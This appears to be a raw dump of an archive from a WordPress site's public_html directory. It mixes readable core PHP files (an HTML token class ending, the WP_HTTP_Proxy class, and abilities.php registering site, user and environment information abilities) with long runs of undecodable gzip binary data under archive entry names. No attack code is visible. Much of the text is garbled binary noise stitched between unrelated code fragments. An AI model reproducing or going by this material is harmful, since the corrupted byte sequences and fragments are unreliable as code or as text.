	 * @param callable|null $on_destroy            Optional. Function to call when destroying token, useful for releasing the bookmark.
	 */
	public function __construct( ?string $bookmark_name, string $node_name, bool $has_self_closing_flag, ?callable $on_destroy = null ) {
		$this->bookmark_name         = $bookmark_name;
		$this->namespace             = 'html';
		$this->node_name             = $node_name;
		$this->has_self_closing_flag = $has_self_closing_flag;
		$this->on_destroy            = $on_destroy;
	}

	/**
	 * Destructor.
	 *
	 * @since 6.4.0
	 */
	public function __destruct() {
		if ( is_callable( $this->on_destroy ) ) {
			call_user_func( $this->on_destroy, $this->bookmark_name );
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.4.2
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
PKYO\6-�C��10/abilities.php.php.tar.gznu�[�����Y�o�6�����給
�,���+��+Z�e�2���]o��;R�)�N�T{aՇD"�w�{�H����J��aQNr��33���>I^�L�	Ϲ�L��]�#x���l?::>=yr�������OO??���O���;K��SjC��;d��/��G��
�#�T���&�e\E
���䫂&�i���R�W�imGu9�����ե��8b��G�}8�,ɩbC�ybb�*@�9&��W敕Δ&f�H���0\���I����jʰC��R	��<�b��Hp+dYĪb#߸���Ggv!�c���(W��^��a�ިR��E9��<"�xF�xH��HHFcKy�(^�FQM�6��Q�#R��L�tEP�b*��:�P�͌�"���`-y��fj'�� �G���vT�zK�lJ�܄��s���Л+��� ������Xc��"M�;�%��Y.Hm�H�9�&F��d�"L�E7��'��U�p��ڒ����/I4˹h�*U7}�
�y��eSز�"�.i����EiG2M�\�lNyާI-[Wp!g,{KQ���dF�MԳ��-M 	d�Țbs*�*|ԯXϖ�2�9V��V�~��/�t�;8:od�<�N��g+=$��|[ݵi�u�0cf�����o�1�����!�r]D7��W�
�n�H���T,��]�׫�تj1dq�cU�V���6\	@l�j�*�6�,�����4�Nf���c��!�HN~e�q�ߋ�.��t���m'j�o,;]1GU
���'X�H;�D9�S��4�Z������y��ݣ)4�dIt�>�I�r9%�Kǁ�@]V�����j��?(t)w��k�S�kVUQu�L�xU� K�p�ޘ���R�}`I	|�&�����Ac0h_#�ذ�����a���%BdO����-��F�=�|���~+T��3� �A�(L����w�`�-�\c�_4eB�`4��:ҩ&�+�r��\��w��^<�e�2��
��	��Z��N];_���\c�ܱ�`߉�y�H�0)�b�X���М
�8��`�Pڜ�	�V�R!����NUk�R�+3F�U�ؔ�O�w�کU%GJ�F��>%�L.�q�^��$��fBcܯ�I�
hB5x��y(G`�Ny�U���%���#Rwn��V�T�@8hLa��U
[�Y-��=Q�$��O�X�&lF\��4$�������!�6]���hL���"�aOcw��OXc�f~)�C����R�c��i���A.�Hՙq{�B�e�v�m���5����V�.��L�3�ST��&-���S81�O��+ҼR����8��懝u�L�ܝq�t��h᢭zX��-4�s`:oP����;o���G�0�J�Ih�L�o^��+iC���A����-8��������������"
	�'_kQ�`{�lZe	�tk�%�5h��+N
�˽�G����~�,.��atҊ��	����������,X�J�׋��	��㈚�4Q%`�9^U@7�`l
H9̈́��`mQH"��������<�1I�����;S��tܽ���H��"�`�I�Y��D6��m1v%�r=G�J깼���"I�
l���&0�&a)<����mZ&�B�g��l�rY8��R2j�=w+�5��bg��fXÿ
�<�Aφ
��)q�
��*il�B���N@a����^ɪs+��	�"���mAA����M���:�m��*�]��f�ݽ�?	'�\NhN.�t��
 1��#H��^}oD"��g�US4����M�)�|3����
�~E]�e�������Ic|8"ϟײ��2�@���J�&��H��nH��H7�Jk_7�i��ށ��^�z�O�\���|z>=�=�g�&PKYO\�I.��!10/class-phpmailer.php.php.tar.gznu�[�����T�J�@�5�󖴴��I��V,�|�M2%���&�"��� �H�*�"9�0��9s�$Hc4z�~Y�F�ǃ"��M6/*}��	)�Y��"�0��:�&ab�;�k46,Dz��x:u�䷦{�'r|�,DN)"����1��gЇ�au������!\���}(R((��h�t�0G�H��I��R��9M�m�HD�2��`�4X��W�i�q�Bj�r3��|M<z�<2����+Y
8?]�/8�ހ���;��V��jyy:�m�U��:�sJ��H��"Szs��X�w%��4�z:Y^QK�?߇��z�Uc~���7.�P��w�Z�Y;�qQ�����B�Si�j��.:t����#��R
PKYO\�}10/class-wp-http-proxy.php.tarnu�[���home/homerdlh/public_html/wp-includes/class-wp-http-proxy.php000064400000013534151442377210020444 0ustar00<?php
/**
 * HTTP API: WP_HTTP_Proxy class
 *
 * @package WordPress
 * @subpackage HTTP
 * @since 4.4.0
 */

/**
 * Core class used to implement HTTP API proxy support.
 *
 * There are caveats to proxy support. It requires that defines be made in the wp-config.php file to
 * enable proxy support. There are also a few filters that plugins can hook into for some of the
 * constants.
 *
 * Please note that only BASIC authentication is supported by most transports.
 * cURL MAY support more methods (such as NTLM authentication) depending on your environment.
 *
 * The constants are as follows:
 * <ol>
 * <li>WP_PROXY_HOST - Enable proxy support and host for connecting.</li>
 * <li>WP_PROXY_PORT - Proxy port for connection. No default, must be defined.</li>
 * <li>WP_PROXY_USERNAME - Proxy username, if it requires authentication.</li>
 * <li>WP_PROXY_PASSWORD - Proxy password, if it requires authentication.</li>
 * <li>WP_PROXY_BYPASS_HOSTS - Will prevent the hosts in this list from going through the proxy.
 * You do not need to have localhost and the site host in this list, because they will not be passed
 * through the proxy. The list should be presented in a comma separated list, wildcards using * are supported. Example: *.wordpress.org</li>
 * </ol>
 *
 * An example can be as seen below.
 *
 *     define('WP_PROXY_HOST', '192.168.84.101');
 *     define('WP_PROXY_PORT', '8080');
 *     define('WP_PROXY_BYPASS_HOSTS', 'localhost, www.example.com, *.wordpress.org');
 *
 * @link https://core.trac.wordpress.org/ticket/4011 Proxy support ticket in WordPress.
 * @link https://core.trac.wordpress.org/ticket/14636 Allow wildcard domains in WP_PROXY_BYPASS_HOSTS
 *
 * @since 2.8.0
 */
#[AllowDynamicProperties]
class WP_HTTP_Proxy {

	/**
	 * Whether proxy connection should be used.
	 *
	 * Constants which control this behavior:
	 *
	 * - `WP_PROXY_HOST`
	 * - `WP_PROXY_PORT`
	 *
	 * @since 2.8.0
	 *
	 * @return bool
	 */
	public function is_enabled() {
		return defined( 'WP_PROXY_HOST' ) && defined( 'WP_PROXY_PORT' );
	}

	/**
	 * Whether authentication should be used.
	 *
	 * Constants which control this behavior:
	 *
	 * - `WP_PROXY_USERNAME`
	 * - `WP_PROXY_PASSWORD`
	 *
	 * @since 2.8.0
	 *
	 * @return bool
	 */
	public function use_authentication() {
		return defined( 'WP_PROXY_USERNAME' ) && defined( 'WP_PROXY_PASSWORD' );
	}

	/**
	 * Retrieve the host for the proxy server.
	 *
	 * @since 2.8.0
	 *
	 * @return string
	 */
	public function host() {
		if ( defined( 'WP_PROXY_HOST' ) ) {
			return WP_PROXY_HOST;
		}

		return '';
	}

	/**
	 * Retrieve the port for the proxy server.
	 *
	 * @since 2.8.0
	 *
	 * @return string
	 */
	public function port() {
		if ( defined( 'WP_PROXY_PORT' ) ) {
			return WP_PROXY_PORT;
		}

		return '';
	}

	/**
	 * Retrieve the username for proxy authentication.
	 *
	 * @since 2.8.0
	 *
	 * @return string
	 */
	public function username() {
		if ( defined( 'WP_PROXY_USERNAME' ) ) {
			return WP_PROXY_USERNAME;
		}

		return '';
	}

	/**
	 * Retrieve the password for proxy authentication.
	 *
	 * @since 2.8.0
	 *
	 * @return string
	 */
	public function password() {
		if ( defined( 'WP_PROXY_PASSWORD' ) ) {
			return WP_PROXY_PASSWORD;
		}

		return '';
	}

	/**
	 * Retrieve authentication string for proxy authentication.
	 *
	 * @since 2.8.0
	 *
	 * @return string
	 */
	public function authentication() {
		return $this->username() . ':' . $this->password();
	}

	/**
	 * Retrieve header string for proxy authentication.
	 *
	 * @since 2.8.0
	 *
	 * @return string
	 */
	public function authentication_header() {
		return 'Proxy-Authorization: Basic ' . base64_encode( $this->authentication() );
	}

	/**
	 * Determines whether the request should be sent through a proxy.
	 *
	 * We want to keep localhost and the site URL from being sent through the proxy, because
	 * some proxies can not handle this. We also have the constant available for defining other
	 * hosts that won't be sent through the proxy.
	 *
	 * @since 2.8.0
	 *
	 * @param string $uri URL of the request.
	 * @return bool Whether to send the request through the proxy.
	 */
	public function send_through_proxy( $uri ) {
		$check = parse_url( $uri );

		// Malformed URL, can not process, but this could mean ssl, so let through anyway.
		if ( false === $check ) {
			return true;
		}

		$home = parse_url( get_option( 'siteurl' ) );

		/**
		 * Filters whether to preempt sending the request through the proxy.
		 *
		 * Returning false will bypass the proxy; returning true will send
		 * the request through the proxy. Returning null bypasses the filter.
		 *
		 * @since 3.5.0
		 *
		 * @param bool|null $override Whether to send the request through the proxy. Default null.
		 * @param string    $uri      URL of the request.
		 * @param array     $check    Associative array result of parsing the request URL with `parse_url()`.
		 * @param array     $home     Associative array result of parsing the site URL with `parse_url()`.
		 */
		$result = apply_filters( 'pre_http_send_through_proxy', null, $uri, $check, $home );
		if ( ! is_null( $result ) ) {
			return $result;
		}

		if ( 'localhost' === $check['host'] || ( isset( $home['host'] ) && $home['host'] === $check['host'] ) ) {
			return false;
		}

		if ( ! defined( 'WP_PROXY_BYPASS_HOSTS' ) ) {
			return true;
		}

		static $bypass_hosts   = null;
		static $wildcard_regex = array();
		if ( null === $bypass_hosts ) {
			$bypass_hosts = preg_split( '|,\s*|', WP_PROXY_BYPASS_HOSTS );

			if ( str_contains( WP_PROXY_BYPASS_HOSTS, '*' ) ) {
				$wildcard_regex = array();
				foreach ( $bypass_hosts as $host ) {
					$wildcard_regex[] = str_replace( '\*', '.+', preg_quote( $host, '/' ) );
				}
				$wildcard_regex = '/^(' . implode( '|', $wildcard_regex ) . ')$/i';
			}
		}

		if ( ! empty( $wildcard_regex ) ) {
			return ! preg_match( $wildcard_regex, $check['host'] );
		} else {
			return ! in_array( $check['host'], $bypass_hosts, true );
		}
	}
}
PKYO\��.��.10/class-wp-textdomain-registry.php.php.tar.gznu�[�����Z[S��W���.!�����dM�Ʀl\~���֨%�2�L�*F�=���s`;�>x0�t�>��\��$R�%��f�r��0�e���t/����)=�C������,�d�ej�<[��e���g��GG���~|~�������#Xx�<����L��<��eG�/�>}�۞<}�-��__�J����$>�{���;clA�0�Ÿ�bh1`K��Y��pW�Ε��d.�8�d�B��e��g�D�-��!o�`&�I�<���\b�R�T��?�ҿ�%>&��<SZ�[]L���/1�'V�`�O���/�L�4�<�)إU�t��;y[�ty���U,��?ϒTey���6S�Q��-�bUoPQ�$R�C�/U��PƋř�����2_j�VI)B2�i����̄�2��?'�[i��@���N��p�x{3g�"�`��,Sq.�Q$`	����Z���ևO�^UVR
��3/
�ث;��
 �ւϕ�ذ�½N��$|�8�����HN!��QBq�1����(�H���k�|�l������' o�PɸG~a
�� S��Ĺ%��1�Io�1�@#���6MaA~y��Ԝ��i^�N��� d�u�ﲢ;�u�\k�D`|"'�"�3�yp���I��*W�5Z@�6���
П�^�?�+��t���XP�R�����_��-9�y��7122��b$%'ΐq2�#q�?�������ʋ,f���]�!�N�́g6���@#����M��E	��eL���	ql���e�aQ�8��("�
�X��9�1�B�C��ȱ��!�'����F_:��.��+��]�B�y`����׮�}�>(�?���@30{1�؊TY��s�V��j�a�X�k�&�Ep��c6��!zW7����e�B�i��8B5��U��yL��u����ݖ
DZ�87�^forz�x6�"�؎�d������b�@kZ�$͜��|��1��b谐�2��G�����h/��ٱ�y~���a.
"5�]�C�1W9lE.���A����Z�$	����lG؂2]P�h5�
�׭@k�kJ��J�–�;\��4_
�#�-�Yv��z��Rd�ۛ�^�u �|>
u����F�AY; )�.��yŦ3\�ժ�G�C�����Ӏ�JAl6�/���/Lf�g0��,���O��qI��9�s���,Sl7��TL�j��J-��?`/6]8���䔟6���JѰ�6�ثT�U{W�<����@���=L�
ϽP��z����c0#�!�Ȁ{
��R� I�:x�P�ѩ:�G������^"�`kw`�:��Z����֔}S�ю(h����,�K�4�5P�U��Fg\~��k迳pF J[�,)�j�
����+��8Cj���0IR�6�D��Ɍ�"@�+L���e��sQ��z�b�±A]f�A�j�ɕ�A��OhӚ�M{-^�?�I��q�O����1�vJ��%�gѢ��a"M�܋�Eo��Iq(�� �`�6CU��C��Z�r߃ʖ�����H�ο�PI��s0Զ`i�L�|�2�r&��]�ǧa��3��
u3|��B���h��E�Τ`�;�[JYy��ɰeP��KLڌY�s��"��"L��e:N�����=U���d�y5�7���YWۀ��c��a}��O�_��f�pSo�oP��U&h .o�΁5�T�V�bլlv�l��$X��e��A��~��|rbE5`i"�_��H͸w�V�C4{6,�9�8�ߦܸ{܄�}2���A��rNZ9��̹xO!�}�!PQ��l� ����{����1�v�s�y��0/R��C�Ѩ��†S�n*�n�P�H�~��w��{���o߼z_�cM+V�Y9���_r��F}��υ�L��FW�au��8�C�/��qY[=(�\�s"�MҐ���c�X�!�03��%����3|;v�!�Yc�;��(F$��!@A����Q�X�p���繠r�R�s.1�x;`�ayo+>�\��|Ucp2���>3��gXsIsZ��P��THƆ�T>?�T����b���,�n���"�h1X�Sh�RP����T��|@�����y�~�HJ��v�~&6M�U�J���mR7j�a��*���J�b�v߼5����Ja�&M��i�(��Ό?ռ��V��o�5�ȋ�Ś5L@�C�
T����+�7ڽ��m��^�R}L�����;�sᰇD�TG�겊r71zəb	���|�����H�����ֽ���1����Q
8-a��<�k��%�d}PN�j!�B�j^k2*g�ڪ��W81���~��֐r�9�8�W�An�����&�SН�9��TW`-�7�C�q$vWÙ��Ǭ��ݢ��u؟�U��9!�"�����_�Wg�10`0�+����M�����i�:���Qg�~�1���&w�ؤ���E7^BK3����
�o��ڛ�<7���e^p��Zk#iEeHߜ��d�~χ��q����#���UJ��D�{hQ_#�W� �g[��t���/v@W��u(�9��0~�T���fT�
b�l�8�o44��ͱ��H�&����/���u��5��0�K��G;�}W����d������q��?��;�g��
�͸���%uDv���EV�0�)�s��[���}�F����<9vm��mXn��'|HE3��WG�ɜ����~`*�'�O���q�L���!
T��?�X�w#��r���R{a�Ϝ=�fl��BŅ5��]�Svyt�e��ξjL���%-/.�m;��T�3�ۖ�&��k�k_�N�`�l�W�$յ��q]mB��sW펤z5��
��э{�N��P�G�	�8곲Dm8���,i�mu��['qy��ޜ��f�dZ��k������oϷ����<�~.�40PKYO\�g�&&10/abilities.php.tarnu�[���home/homerdlh/public_html/wp-includes/abilities.php000064400000017457151442377240016537 0ustar00<?php
/**
 * Core Abilities registration.
 *
 * @package WordPress
 * @subpackage Abilities_API
 * @since 6.9.0
 */

declare( strict_types = 1 );

/**
 * Registers the core ability categories.
 *
 * @since 6.9.0
 *
 * @return void
 */
function wp_register_core_ability_categories(): void {
	wp_register_ability_category(
		'site',
		array(
			'label'       => __( 'Site' ),
			'description' => __( 'Abilities that retrieve or modify site information and settings.' ),
		)
	);

	wp_register_ability_category(
		'user',
		array(
			'label'       => __( 'User' ),
			'description' => __( 'Abilities that retrieve or modify user information and settings.' ),
		)
	);
}

/**
 * Registers the default core abilities.
 *
 * @since 6.9.0
 *
 * @return void
 */
function wp_register_core_abilities(): void {
	$category_site = 'site';
	$category_user = 'user';

	$site_info_properties = array(
		'name'        => array(
			'type'        => 'string',
			'description' => __( 'The site title.' ),
		),
		'description' => array(
			'type'        => 'string',
			'description' => __( 'The site tagline.' ),
		),
		'url'         => array(
			'type'        => 'string',
			'description' => __( 'The site home URL.' ),
		),
		'wpurl'       => array(
			'type'        => 'string',
			'description' => __( 'The WordPress installation URL.' ),
		),
		'admin_email' => array(
			'type'        => 'string',
			'description' => __( 'The site administrator email address.' ),
		),
		'charset'     => array(
			'type'        => 'string',
			'description' => __( 'The site character encoding.' ),
		),
		'language'    => array(
			'type'        => 'string',
			'description' => __( 'The site language locale code.' ),
		),
		'version'     => array(
			'type'        => 'string',
			'description' => __( 'The WordPress version.' ),
		),
	);
	$site_info_fields     = array_keys( $site_info_properties );

	wp_register_ability(
		'core/get-site-info',
		array(
			'label'               => __( 'Get Site Information' ),
			'description'         => __( 'Returns site information configured in WordPress. By default returns all fields, or optionally a filtered subset.' ),
			'category'            => $category_site,
			'input_schema'        => array(
				'type'                 => 'object',
				'properties'           => array(
					'fields' => array(
						'type'        => 'array',
						'items'       => array(
							'type' => 'string',
							'enum' => $site_info_fields,
						),
						'description' => __( 'Optional: Limit response to specific fields. If omitted, all fields are returned.' ),
					),
				),
				'additionalProperties' => false,
				'default'              => array(),
			),
			'output_schema'       => array(
				'type'                 => 'object',
				'properties'           => $site_info_properties,
				'additionalProperties' => false,
			),
			'execute_callback'    => static function ( $input = array() ) use ( $site_info_fields ): array {
				$input = is_array( $input ) ? $input : array();
				$requested_fields = ! empty( $input['fields'] ) ? $input['fields'] : $site_info_fields;

				$result = array();
				foreach ( $requested_fields as $field ) {
					$result[ $field ] = get_bloginfo( $field );
				}

				return $result;
			},
			'permission_callback' => static function (): bool {
				return current_user_can( 'manage_options' );
			},
			'meta'                => array(
				'annotations'  => array(
					'readonly'    => true,
					'destructive' => false,
					'idempotent'  => true,
				),
				'show_in_rest' => true,
			),
		)
	);

	wp_register_ability(
		'core/get-user-info',
		array(
			'label'               => __( 'Get User Information' ),
			'description'         => __( 'Returns basic profile details for the current authenticated user to support personalization, auditing, and access-aware behavior.' ),
			'category'            => $category_user,
			'output_schema'       => array(
				'type'                 => 'object',
				'required'             => array( 'id', 'display_name', 'user_nicename', 'user_login', 'roles', 'locale' ),
				'properties'           => array(
					'id'            => array(
						'type'        => 'integer',
						'description' => __( 'The user ID.' ),
					),
					'display_name'  => array(
						'type'        => 'string',
						'description' => __( 'The display name of the user.' ),
					),
					'user_nicename' => array(
						'type'        => 'string',
						'description' => __( 'The URL-friendly name for the user.' ),
					),
					'user_login'    => array(
						'type'        => 'string',
						'description' => __( 'The login username for the user.' ),
					),
					'roles'         => array(
						'type'        => 'array',
						'description' => __( 'The roles assigned to the user.' ),
						'items'       => array(
							'type' => 'string',
						),
					),
					'locale'        => array(
						'type'        => 'string',
						'description' => __( 'The locale string for the user, such as en_US.' ),
					),
				),
				'additionalProperties' => false,
			),
			'execute_callback'    => static function (): array {
				$current_user = wp_get_current_user();

				return array(
					'id'            => $current_user->ID,
					'display_name'  => $current_user->display_name,
					'user_nicename' => $current_user->user_nicename,
					'user_login'    => $current_user->user_login,
					'roles'         => $current_user->roles,
					'locale'        => get_user_locale( $current_user ),
				);
			},
			'permission_callback' => static function (): bool {
				return is_user_logged_in();
			},
			'meta'                => array(
				'annotations'  => array(
					'readonly'    => true,
					'destructive' => false,
					'idempotent'  => true,
				),
				'show_in_rest' => false,
			),
		)
	);

	wp_register_ability(
		'core/get-environment-info',
		array(
			'label'               => __( 'Get Environment Info' ),
			'description'         => __( 'Returns core details about the site\'s runtime context for diagnostics and compatibility (environment, PHP runtime, database server info, WordPress version).' ),
			'category'            => $category_site,
			'output_schema'       => array(
				'type'                 => 'object',
				'required'             => array( 'environment', 'php_version', 'db_server_info', 'wp_version' ),
				'properties'           => array(
					'environment'    => array(
						'type'        => 'string',
						'description' => __( 'The site\'s runtime environment classification (can be one of these: production, staging, development, local).' ),
						'enum'        => array( 'production', 'staging', 'development', 'local' ),
					),
					'php_version'    => array(
						'type'        => 'string',
						'description' => __( 'The PHP runtime version executing WordPress.' ),
					),
					'db_server_info' => array(
						'type'        => 'string',
						'description' => __( 'The database server vendor and version string reported by the driver.' ),
					),
					'wp_version'     => array(
						'type'        => 'string',
						'description' => __( 'The WordPress core version running on this site.' ),
					),
				),
				'additionalProperties' => false,
			),
			'execute_callback'    => static function (): array {
				global $wpdb;

				$env          = wp_get_environment_type();
				$php_version  = phpversion();
				$db_server_info  = '';
				if ( method_exists( $wpdb, 'db_server_info' ) ) {
					$db_server_info = $wpdb->db_server_info() ?? '';
				}
				$wp_version   = get_bloginfo( 'version' );

				return array(
					'environment'    => $env,
					'php_version'    => $php_version,
					'db_server_info' => $db_server_info,
					'wp_version'     => $wp_version,
				);
			},
			'permission_callback' => static function (): bool {
				return current_user_can( 'manage_options' );
			},
			'meta'                => array(
				'annotations'  => array(
					'readonly'    => true,
					'destructive' => false,
					'idempotent'  => true,
				),
				'show_in_rest' => true,
			),
		)
	);
}
PKYO\.f�`:`:"10/class-wp-rewrite.php.php.tar.gznu�[�����}w۸�h�u>׵#9���I���qR7�vs�&q����zeZ�lndQ%�8��|�7�H���l��Nծ#��`0���yv���O>����i:����|;����qRFӸ(��I�\�i������-���?>||~���w��p��Ý�q�����1��|7�,�2Ρ�F[����Oa(o
�ܹ݉���F�/E?�o~(�e�4�G��$�)��yB/�?�S�Bj�c`�$��C���2-=�r-�d�Y�^̧�E2+�8�M���<��3@�/���#Lj�Q	E��l���O�S`;��^ƣ��>I�I?z	�N�,:�gc,9�s@�L@�c�%�>KJz4��<�Q���y4�r|��f]$��Q7���_��9�ZП,f�2�fQ\&y=��<�N�����f�l�b(?������9���C�\Fбh�g�m��B��,����d1�Zl�iZ^E�$��8�6gY%Ӣ�!��$�!�+ƭSF�d�Β�<�$ڕ	u$@��4���i�l=WC���S�|5v���t�]>����� ��I^�Iq|��x��[k�{k� �/�O��QQ�Q�^D�γ�����Z���@������hcn -��[�����V�c�U�q:E
��yRor����<Ͳi�A�4Cf(`t�r���Ey��t��|�q�a�\p�c1��@�d�F$Q�����?;Ǧat�|t�~Pg�փ����Y�ZE�����,5�m���lš/��C�y���f�����ϥF��ސ�l�ϲ\U
ED�F���y�w1>Kg1��k�|п��@4�*�}'�ǥ�~�˘��p�w�5\�K@�ZO�m
�{<�,�%�;����D�3���j��9\�AA-��<�i\ef�bՎ�K)�pi�D�
6�0o�cy^�i�'(^���P7�`.n2P\=6���eח��J��?z��Ҳ�U�&6P%�<�#�/���/<��~��wo�l�|t�A/Þ�Pmu}ʳ����?���_�t��� X'���5 ���ޏ��T.Sn�`��?M"Оʫ�G��;�����u�Fg�4��N��8�M�|��E��),EB%�e�ϳtFj5��̪���`C_p�?q�ƧS�
\�~�'gP�".q�qu�g	�KK�2 �2���֩`���(��
Л��l�҆p^����a����8e%_P
D\�Lr|(;�\o�\ۇ����d���*�;$,ً���P��n]��	��5��<2�{0��ڛ�<.a��^+f�&����R��E����j���<ܳ��;�7U�#�vS؉,���$�a8�^��eha�l�Q]d�>�G�p��E�"H�)_6�3P-.�mC��ܽ(�a�Y&gY��C��ůǏZn"�	�٘dZu��$@��S�o��#e8'�7�̴ذ��qM>�-B�4R�7(�T�#lQ����M&�
��Njiً`h>�%��/ҳsPM�L9S�E�M�ق���,
��K��9��f�Hq
����$���b:�(X���l6!s��%I	�m�V�.�)��e|fV�&͍(;Kx���th��E��9��u�睚��&o{7��f'Sl�I^$%ۇI?:��,��lG�J�q:"�G1!����� 0�Z@dxQ��0�X����;z�]"��t�&�G�����`wa�Z:z�h����Lc��8���Č���X\��&4;"��K����ay~����h�n����5D��%،X,�]���TGq2fVLi���f1�$�8� ����2�T'O��x��XQ�T!L�� :UMӂ���AE��[-��s�4s
��J<B��d\R�a�l�Xi}km��[�N��_�f�|��0���z�-\�t�(�����e���)�)�Ҽ�Ѕ�tA���>0�0@�bqZ�i����O,d�8AQ��͊Kh�H_Ffh��ݣ{�u����[�[�}���<8�뽾~�?��_}~�Q���ijj*���X�&��s�#%��cmXV~��7dXS��U~0��d>�:��Z���{5*�[�QY5�,1Kn�jݦ���b��E�|<�@��v�߸�.:����8:
�u)�Oe�~���}�FP�R�ʱ�g7�������ҝ�N��<A
���V�.d��m��#�=�=�ލ�ƚ@����h���'��$���R���
eR9�Qx�WI<�I�(W�'A�{&ą�}r�TE�M5��n!���u�!x��� ���F��6E�MBN�#x��2�䉜�)��F��!iD0s~���N'��x����rG�3~�>h0ՁQ�g��7�K��[4MC�o`�޾
s�{]����@~ܣc~_�˦2�w���W�0Գ'A$���=V��-�9�^��D���_u�VZ��Ovd��B�
X�Nq,���~��]���A|z�UY$-�%@B��"tҫR���䠝�t��t6^�>��Ż#��qG�#�� ��?�72T��ֈu*\��T5:[�X �}��C&G˰��_]�����C1��A�;��q���c�X���.-��V�`:�cJ�:���mw�L�έ{ �^���\y�=`�Z�q�㼃)�xt.E����T���ܜ�g�l�i�+P�3���#�ĸyS�Ϧ�)�~.���h���-�8.c:�A��c���d���B(Җ�}�+v�b��ĸ�xİ�X14�� �by*<��.� �weA�KR
�`�@�����4�q��;�'}�ʧ�1�0�'%�$'�g\y��n?9KJ��(�E7Z������{dB!uU�2�軷o^������/�Ly5w�����O�E�
�(d����ӂ�=t��ͼ�L7l�v�r~�0��2��e���t����Q~Ŭ�3_�4��$G[�HZ���F1f@�3:
5�Iĵ�泎���e��i6���R�Ci�+�Ȅ!�0\QD꣌���c;.��M��"�#�r�F:����C"�9�}�5��I�Lպ'x�%@[,u���X܀�_��\ˊ��^�9^�1��iE�j����T�DW��Ҧ�CM�ڧF<i����^èE��c$�_�+��&�����J鸺Ȥp�{Q������&m�Kx�Vݣc��j���4
04�<t������8�pTG���zI&�ԺqȜ]z��5Y��&��3DE�n�i��"���L��[s"V�{-<���Ã���x�2��-���2���������^DV��t��_�C�v���iC�Z(��)L�1o�|!N��\�@�Q1!���-O��Y��I�1p)�J�_�uW\�h-N��W�;X~�:�e�J��BA.CШ�+�0k_c�p��t:�6�m��R����"�s>��c6X�g�	�70ޠ�&҅�Ms��"QK�4����
1²�	[{v,U
j(�ɷ���=Pt1ٜt���c
�w��Ta<��'`t�+���Y�A�����G^,|"+�&C�B:5
DNI�L�d�p����c͈,ee����p��i1�և�bQ���0�pw%���v
�OS�W9ӣq`�9��p�{#'	Q�Zܼ2�RkG�q�Q�����jo�ŕ^�)��z(��mz���<$�L^�O����d������HX7�0#���,�ѵ�Mk���x����"jv3���4) �3d�I0�bDZɀ>��ذ��3�ﲵ5gu��8�MXB7�v6|��Of��/��и.��ƺK�e*�;�Q�_ޠ��hoo��}�5�x/z����������ݻ��&��5T��	��8P�:A���7X�T��v�Ehep�
��yA5v�Q����tF��k��M�:�% �7��p�Y}ح��e
�^(x�*؍�CUb=��5u�����?W��h��j��-�l<�m܆K
�D��B�Cx
�(���$�ipS^�j��M9���oȒ�z����TJ���c��K�/Zn��&\1xހ��uЫ_Tw�a�h!kӆƹ�\����Xs�y�'P��ntLi�`��4N��^=F�d�ð��1p:<@�t��I���4/7;���%E�),����7].�О�4t��	_<3D��a�\�-j.�]E��A���W�x�c�O����v��	��<�\�{��p��Vbڙ��*73�a|�U�ѻ�г���f���}-�4�_�ȭ�5|*'���z
a��”U�7%^�(��WtR���G��q�����Q��t��v_�H�nk������3�p����a6L�B������0MZ�Qj�xX��K��.%���#d2��DL�7��ޔϤ�K�j�h�zx��j���k�M�;�ֱ�}��Mm�k�,���{+A�@k�`�jZ��j�쿖��5G,ߔ���Kqp�
\�8�2���j�b�~[���Y�b�a_�}���Ϧ��xA�m��Τ�[�ƌz���i�ج�I+dh`�j��/c�J�K�g��Ϝz��Xÿ�
�_�
	V�ŷ5	��o�k��w
��1[R�b�
ز�elYis)���	�L���>����4������j`z;V�b���dz�����$[U�~)3?��`7�<��.��
�i`�D_��
8,��u���':�	�Y}f4Aϐ�1�X��b�v���H!y7�hǭ���zn�GC	�9r*:/s�$��f�N8�Y��l(�kœ�%�����"��K�
�tXP�m)E�U�|*��,��!�
�zFSچ�Yz�	-���p���bB�.��.�B�
��֏:{���\sjڠ��^�L�r��Ca�ֹ��\[If�.��(���7x�j�ݾ�0U��ԟ���r��F���z��������%�P�)D��}�{���,�B�]��z���t���'o �пՔi�09�����m������%Ks��G��,�P�f.�rLby�/�5XT=0��+h��u���.v��"�t�N�.W��o����G��3���d�-��.ҏ��:��;��渦��%{��r�V���x��V�6{�d�W�@�k]|&
i
��'|1�>�|��{��͜C��6cEDe(S#��Pȿ�f�~Hg*M.�٧�{�4��M-[s;:yq0�ᇓ�j�~�ŊU����g߿���V�zx���W/^�Z����߼]��g��/����˕�|��"�j�����U��b�Wo^~�br+^�΋���x���W���͛UG���+�e�.�
�Y��s�ݵ��P����R�	q)��t�A���9������à��cS�^��s��矉c��]U�֚U��mV�H�?\G�+�H^���q�렞0��>E��)x�SOᏐ�$���:��b&�����d:��f�z⻕��_����|>Mݺ��v=+�´\b���O�l��$���l���!X��'X4��H�B��=	���~)��3���lAG�=QrM̟Qy�������΃"��d?��3�d�DQ�ʰ��R�0#ħ�(𿝭�Sr܅u�ZHB޵֤�^�d�P�����.Џ:��{��\�%0��H��a
5�
6��gW�r����(�ӳ�-`��H*N~�L�H�
��'\i�-�ү�
��g���z{:M��Eh/l�!��랉�lS��ӑs
>"笖c78lɔ3�w\&������5}�����1}jS�|޲�w
����+i;(�85�bL:��
��	����Bwʹ`JqP��F����O�C@���R���@M}���J�/X�%������_<�8��lj�8�F"���>J�Y���������2O�F��#���n����SK<	�H��dR�F��ِ
��-��g�D�Q~����&v���:{�_%�Qd�p�G\�{�$P���NH���).�Y8m\_!�.o�z���<n*���,�T1�X����'��E��������#����ȶ�D\
�ݜ-.��dS��ʮ��RϠFN�:ٍ�cyv��a�K�7MUߓı���1�MgWѽS��H=4:�aC�#(	�59�4Q�|�b	��f�{��1`�0*�i��ǘ�τLN��"���T��!���
O��⿏#E����]x�cL�a	��B=‡��:hlG�#�;�y�hCe���]HT0O1�`!B{n�!�Y��SL#�l��/=F�l%H�G�o����ne�z�n/„[h�F�bRFݢ\L&<�i�	[q^m�8_���_|`�Xk .�d�ca`��;���{�V�`m���sA
��@�#U�g�z�4��)��)+2~̗��j`a`.�%g�B�ޢ����9�چ��r��iY9�Hx���i�)�����zx@�Ȯ�`�gщ8�m�2���M���$<�@�
�<f]�D-|�yp���vv1Э9�?�g�G��ܦ�b�\�
